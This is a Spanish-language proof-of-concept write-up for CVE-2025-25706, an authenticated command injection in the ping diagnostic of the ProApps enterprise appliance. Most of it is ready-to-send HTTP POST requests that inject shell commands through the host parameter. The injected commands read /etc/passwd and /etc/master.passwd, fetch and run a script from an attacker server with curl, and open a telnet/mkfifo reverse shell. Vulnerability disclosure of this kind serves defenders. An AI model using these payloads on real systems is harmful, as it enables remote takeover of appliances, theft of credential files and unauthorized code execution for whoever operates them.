
Prueba de concepto detallada de CVE-2025-25706 que demuestra la ejecución remota de código autenticada mediante inyección de comandos en la funcionalidad ping de ProApps, incluyendo payload de reverse shell y pasos de explotación.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
Ejecución remota de código
La vulnerabilidad ocurre porque un usuario puede inyectar comandos del sistema a través de la aplicación utilizando la funcionalidad de ping, agregando un operador de secuencia de comandos en entornos Unix, como (;, &&, o |). Para explotar la vulnerabilidad es necesario estar autenticado. El usuario debe pertenecer a un grupo de permisos llamado 'Status' y tener el permiso 'Modified'. También es importante mencionar que una explotación exitosa requiere evadir la sanitización de entradas. La aplicación valida la entrada del usuario solo en el frontend, por lo que es necesario enviar la solicitud a través de un proxy de red, por ejemplo. De esta manera, se omiten las limitaciones impuestas por la aplicación."
Después de la autenticación, será necesario acceder a una página llamada sta_rede.diagnostico_ping (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view). Esta página proporciona una función para realizar una solicitud ICMP a un host arbitrario. Para obtener más información sobre la utilidad ping y el protocolo ICMP (Solicitud y Respuesta), consulte la RFC mencionada en la sección de referencias.
La aplicación envía una solicitud POST con los parámetros host, testar_pacote y ttl, donde host es el destino del ping, testar_pacote especifica el número de solicitudes ICMP a enviar y TTL es el tiempo de vida (TTL) de los paquetes. Al enviar la solicitud, la aplicación ejecuta el siguiente comando en el sistema Unix: ping -c $testar_pacote $host. A continuación se muestra la solicitud POST que demuestra la funcionalidad:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
Aquí es donde se observa un vector de ataque. Un usuario puede explotar la vulnerabilidad enviando una solicitud POST maliciosa a través de un proxy de red para evadir la sanitización de entradas, agregando uno de los operadores de secuencia de comandos (;, &&, o |) al parámetro host; la aplicación web ejecutará el comando ping mencionado anteriormente, seguido de un comando adicional. Por ejemplo, esto podría incluir la lectura de archivos sensibles como /etc/passwd, /etc/master.passwd, obtener una shell inversa o ejecutar comandos arbitrarios.
La solicitud POST a continuación es un ejemplo manipulado y malicioso:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
Solicitud HTTP POST a sta_rede.diagnostico_ping:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Al escuchar en el puerto especificado con Netcat, se abre con éxito una shell inversa.
Las vulnerabilidades de RCE (Ejecución Remota de Código) permiten a un atacante ejecutar código arbitrario en un dispositivo remoto; esto puede conducir a un compromiso total del sistema, filtración de datos, movimiento lateral, implementación de malware y daños reputacionales y financieros.